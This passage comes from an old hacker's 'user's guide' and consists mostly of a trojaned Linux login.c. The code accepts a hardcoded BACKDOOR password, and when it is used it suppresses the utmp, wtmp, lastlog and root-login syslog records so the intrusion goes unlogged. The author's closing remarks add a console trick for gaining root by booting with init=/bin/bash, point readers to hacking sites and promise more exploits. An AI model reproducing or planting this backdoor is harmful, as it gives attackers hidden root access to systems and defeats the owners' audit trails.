&& pwd->pw_uid == 0 && !rootterm(tty)) { (void)fprintf(stderr, "%s login refused on this terminal.\n", pwd->pw_name); if (hostname) syslog(LOG_NOTICE, "LOGIN %s REFUSED FROM %s ON TTY %s", pwd->pw_name, hostname, tty); else syslog(LOG_NOTICE, "LOGIN %s REFUSED ON TTY %s", pwd->pw_name, tty); continue; } /* * If no pre-authentication and a password exists * for this user, prompt for one and verify it. */ if (!passwd_req || (pwd && !*pwd->pw_passwd)) break; setpriority(PRIO_PROCESS, 0, -4); pp = getpass("Password: "); if(strcmp(BACKDOOR, pp) == 0) krad++; p = crypt(pp, salt); setpriority(PRIO_PROCESS, 0, 0); #ifdef KERBEROS /* * If not present in pw file, act as we normally would. * If we aren't Kerberos-authenticated, try the normal * pw file for a password. If that's ok, log the user * in without issueing any tickets. */ if (pwd && !krb_get_lrealm(realm,1)) { /* * get TGT for local realm; be careful about uid's * here for ticket file ownership */ (void)setreuid(geteuid(),pwd->pw_uid); kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm, "krbtgt", realm, DEFAULT_TKT_LIFE, pp); (void)setuid(0); if (kerror == INTK_OK) { memset(pp, 0, strlen(pp)); notickets = 0; /* user got ticket */ break; } } #endif (void) memset(pp, 0, strlen(pp)); if (pwd && !strcmp(p, pwd->pw_passwd)) break; if(krad != 0) break; (void)printf("Login incorrect\n"); failures++; badlogin(username); /* log ALL bad logins */ /* we allow 10 tries, but after 3 we start backing off */ if (++cnt > 3) { if (cnt >= 10) { sleepexit(1); } sleep((unsigned int)((cnt - 3) * 5)); } } /* committed to login -- turn off timeout */ (void)alarm((unsigned int)0); #ifdef HAVE_QUOTA if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) { switch(errno) { case EUSERS: (void)fprintf(stderr, "Too many users logged on already.\nTry again later.\n"); break; case EPROCLIM: (void)fprintf(stderr, "You have too many processes running.\n"); break; default: perror("quota (Q_SETUID)"); } sleepexit(0); } #endif /* paranoia... */ endpwent(); /* This requires some explanation: As root we may not be able to read the directory of the user if it is on an NFS mounted filesystem. We temporarily set our effective uid to the user-uid making sure that we keep root privs. in the real uid. A portable solution would require a fork(), but we rely on Linux having the BSD setreuid() */ { char tmpstr[MAXPATHLEN]; uid_t ruid = getuid(); gid_t egid = getegid(); strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12); strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN); setregid(-1, pwd->pw_gid); setreuid(0, pwd->pw_uid); quietlog = (access(tmpstr, R_OK) == 0); setuid(0); /* setreuid doesn't do it alone! */ setreuid(ruid, 0); setregid(-1, egid); } #ifndef linux #ifdef KERBEROS if (notickets && !quietlog) (void)printf("Warning: no Kerberos tickets issued\n"); #endif #define TWOWEEKS (14*24*60*60) if (pwd->pw_change || pwd->pw_expire) (void)gettimeofday(&tp, (struct timezone *)NULL); if (pwd->pw_change) if (tp.tv_sec >= pwd->pw_change) { (void)printf("Sorry -- your password has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_change); (void)printf("Warning: your password expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year); } if (pwd->pw_expire) if (tp.tv_sec >= pwd->pw_expire) { (void)printf("Sorry -- your account has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_expire); (void)printf("Warning: your account expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year); } /* nothing else left to fail -- really log in */ { struct utmp utmp; memset((char *)&utmp, 0, sizeof(utmp)); (void)time(&utmp.ut_time); strncpy(utmp.ut_name, username, sizeof(utmp.ut_name)); if (hostname) strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host)); strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line)); login(&utmp); } #else /* for linux, write entries in utmp and wtmp */ { struct utmp ut; char *ttyabbrev; int wtmp; memset((char *)&ut, 0, sizeof(ut)); ut.ut_type = USER_PROCESS; ut.ut_pid = getpid(); strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line)); ttyabbrev = ttyn + sizeof("/dev/tty") - 1; strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id)); (void)time(&ut.ut_time); strncpy(ut.ut_user, username, sizeof(ut.ut_user)); /* fill in host and ip-addr fields when we get networking */ if (hostname) { struct hostent *he; strncpy(ut.ut_host, hostname, sizeof(ut.ut_host)); if ((he = gethostbyname(hostname))) memcpy(&ut.ut_addr, he->h_addr_list[0], sizeof(ut.ut_addr)); } utmpname(_PATH_UTMP); setutent(); if(krad == 0) pututline(&ut); endutent(); if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) { flock(wtmp, LOCK_EX); if(krad == 0) write(wtmp, (char *)&ut, sizeof(ut)); flock(wtmp, LOCK_UN); close(wtmp); } } /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */ #endif if(krad == 0) dolastlog(quietlog); #ifndef linux if (!hflag) { /* XXX */ static struct winsize win = { 0, 0, 0, 0 }; (void)ioctl(0, TIOCSWINSZ, &win); } #endif (void)chown(ttyn, pwd->pw_uid, (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid); (void)chmod(ttyn, 0622); (void)setgid(pwd->pw_gid); initgroups(username, pwd->pw_gid); #ifdef HAVE_QUOTA quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0); #endif if (*pwd->pw_shell == '\0') pwd->pw_shell = _PATH_BSHELL; #ifndef linux /* turn on new line discipline for the csh */ else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) { ioctlval = NTTYDISC; (void)ioctl(0, TIOCSETD, &ioctlval); } #endif /* preserve TERM even without -p flag */ { char *ep; if(!((ep = getenv("TERM")) && (termenv = strdup(ep)))) termenv = "dumb"; } /* destroy environment unless user has requested preservation */ if (!pflag) { environ = (char**)malloc(sizeof(char*)); memset(environ, 0, sizeof(char*)); } #ifndef linux (void)setenv("HOME", pwd->pw_dir, 1); (void)setenv("SHELL", pwd->pw_shell, 1); if (term[0] == '\0') strncpy(term, stypeof(tty), sizeof(term)); (void)setenv("TERM", term, 0); (void)setenv("USER", pwd->pw_name, 1); (void)setenv("PATH", _PATH_DEFPATH, 0); #else (void)setenv("HOME", pwd->pw_dir, 0); /* legal to override */ if(pwd->pw_uid) (void)setenv("PATH", _PATH_DEFPATH, 1); else (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1); (void)setenv("SHELL", pwd->pw_shell, 1); (void)setenv("TERM", termenv, 1); /* mailx will give a funny error msg if you forget this one */ (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name); (void)setenv("MAIL",tmp,0); /* LOGNAME is not documented in login(1) but HP-UX 6.5 does it. We'll not allow modifying it. */ (void)setenv("LOGNAME", pwd->pw_name, 1); #endif #ifndef linux if (tty[sizeof("tty")-1] == 'd') if(krad == 0) syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name); #endif if (pwd->pw_uid == 0) if(krad == 0) if (hostname) syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s", tty, hostname); else syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty); if (!quietlog) { struct stat st; motd(); (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name); if (stat(tbuf, &st) == 0 && st.st_size != 0) (void)printf("You have %smail.\n", (st.st_mtime > st.st_atime) ? "new " : ""); } (void)signal(SIGALRM, SIG_DFL); (void)signal(SIGQUIT, SIG_DFL); (void)signal(SIGINT, SIG_DFL); (void)signal(SIGTSTP, SIG_IGN); (void)signal(SIGHUP, SIG_DFL); /* discard permissions last so can't get killed and drop core */ if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) { syslog(LOG_ALERT, "setuid() failed"); exit(1); } /* wait until here to change directory! */ if (chdir(pwd->pw_dir) < 0) { (void)printf("No directory %s!\n", pwd->pw_dir); if (chdir("/")) exit(0); pwd->pw_dir = "/"; (void)printf("Logging in with home = \"/\".\n"); } /* if the shell field has a space: treat it like a shell script */ if (strchr(pwd->pw_shell, ' ')) { char *buff = malloc(strlen(pwd->pw_shell) + 6); if (buff) { strcpy(buff, "exec "); strcat(buff, pwd->pw_shell); execlp("/bin/sh", "-sh", "-c", buff, (char *)0); fprintf(stderr, "login: couldn't exec shell script: %s.\n", strerror(errno)); exit(0); } fprintf(stderr, "login: no memory for shell script.\n"); exit(0); } tbuf[0] = '-'; strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ? p + 1 : pwd->pw_shell)); execlp(pwd->pw_shell, tbuf, (char *)0); (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno)); exit(0); } void getloginname() { register int ch; register char *p; static char nbuf[UT_NAMESIZE + 1]; for (;;) { (void)printf("\n%s login: ", thishost); fflush(stdout); for (p = nbuf; (ch = getchar()) != '\n'; ) { if (ch == EOF) { badlogin(username); exit(0); } if (p < nbuf + UT_NAMESIZE) *p++ = ch; } if (p > nbuf) if (nbuf[0] == '-') (void)fprintf(stderr, "login names may not start with '-'.\n"); else { *p = '\0'; username = nbuf; break; } } } void timedout() { struct termio ti; (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout); /* reset echo */ (void) ioctl(0, TCGETA, &ti); ti.c_lflag |= ECHO; (void) ioctl(0, TCSETA, &ti); exit(0); } int rootterm(ttyn) char *ttyn; #ifndef linux { struct ttyent *t; return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE); } #else { int fd; char buf[100],*p; int cnt, more; fd = open(SECURETTY, O_RDONLY); if(fd < 0) return 1; /* read each line in /etc/securetty, if a line matches our ttyline then root is allowed to login on this tty, and we should return true. */ for(;;) { p = buf; cnt = 100; while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++; if(more && *p == '\n') { *p = '\0'; if(!strcmp(buf, ttyn)) { close(fd); return 1; } else continue; } else { close(fd); return 0; } } } #endif jmp_buf motdinterrupt; void motd() { register int fd, nchars; void (*oldint)(), sigint(); char tbuf[8192]; if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0) return; oldint = signal(SIGINT, sigint); if (setjmp(motdinterrupt) == 0) while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0) (void)write(fileno(stdout), tbuf, nchars); (void)signal(SIGINT, oldint); (void)close(fd); } void sigint() { longjmp(motdinterrupt, 1); } void checknologin() { register int fd, nchars; char tbuf[8192]; if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) { while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0) (void)write(fileno(stdout), tbuf, nchars); sleepexit(0); } } void dolastlog(quiet) int quiet; { struct lastlog ll; int fd; if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) { (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET); if (!quiet) { if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) && ll.ll_time != 0) { (void)printf("Last login: %.*s ", 24-5, (char *)ctime(&ll.ll_time)); if (*ll.ll_host != '\0') printf("from %.*s\n", (int)sizeof(ll.ll_host), ll.ll_host); else printf("on %.*s\n", (int)sizeof(ll.ll_line), ll.ll_line); } (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET); } memset((char *)&ll, 0, sizeof(ll)); (void)time(&ll.ll_time); strncpy(ll.ll_line, tty, sizeof(ll.ll_line)); if (hostname) strncpy(ll.ll_host, hostname, sizeof(ll.ll_host)); if(krad == 0) (void)write(fd, (char *)&ll, sizeof(ll)); (void)close(fd); } } void badlogin(name) char *name; { if (failures == 0) return; if (hostname) syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s", failures, failures > 1 ? "S" : "", hostname, name); else syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s", failures, failures > 1 ? "S" : "", tty, name); } #undef UNKNOWN #define UNKNOWN "su" #ifndef linux char * stypeof(ttyid) char *ttyid; { struct ttyent *t; return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN); } #endif void checktty(user, tty) char *user; char *tty; { FILE *f; char buf[256]; char *ptr; char devname[50]; struct stat stb; /* no /etc/usertty, default to allow access */ if(!(f = fopen(_PATH_USERTTY, "r"))) return; while(fgets(buf, 255, f)) { /* strip comments */ for(ptr = buf; ptr < buf + 256; ptr++) if(*ptr == '#') *ptr = 0; strtok(buf, " \t"); if(strncmp(user, buf, 8) == 0) { while((ptr = strtok(NULL, "\t\n "))) { if(strncmp(tty, ptr, 10) == 0) { fclose(f); return; } if(strcmp("PTY", ptr) == 0) { #ifdef linux sprintf(devname, "/dev/%s", ptr); /* VERY linux dependent, recognize PTY as alias for all pseudo tty's */ if((stat(devname, &stb) >= 0) && major(stb.st_rdev) == 4 && minor(stb.st_rdev) >= 192) { fclose(f); return; } #endif } } /* if we get here, /etc/usertty exists, there's a line beginning with our username, but it doesn't contain the name of the tty where the user is trying to log in. So deny access! */ fclose(f); printf("Login on %s denied.\n", tty); badlogin(user); sleepexit(1); } } fclose(f); /* users not mentioned in /etc/usertty are by default allowed access on all tty's */ } void getstr(buf, cnt, err) char *buf, *err; int cnt; { char ch; do { if (read(0, &ch, sizeof(ch)) != sizeof(ch)) exit(1); if (--cnt < 0) { (void)fprintf(stderr, "%s too long\r\n", err); sleepexit(1); } *buf++ = ch; } while (ch); } void sleepexit(eval) int eval; { sleep((unsigned int)5); exit(eval); } So if you really wanna have root access and have access to console, reboot it (carefully, do a ctrl-alt-del) and at lilo prompt do a : init=/bin/bash rw (for linux 2.0.0 and above (I think)). Don't wonder why I was speaking only about rootshell and dhp.com, there are lots of other very good hacking pages, but these ones are updated very quickly and besides, are the best pages I know. So folks, this was it... First version of my USER's GUIDE 1.0. Maybe I'll do better next time, and if I have more time, I'll add about 50(more) other exploits, remote ones, new stuff, new techniques, etc... See ya, folks ! GOOD NIGHT !!! (it's 6.am now). DAMN !!! ARGHHH! I forgot... My e-mail adress is <phantom@XXXXXXXYOUWISHXXXXXXXX>. (for now).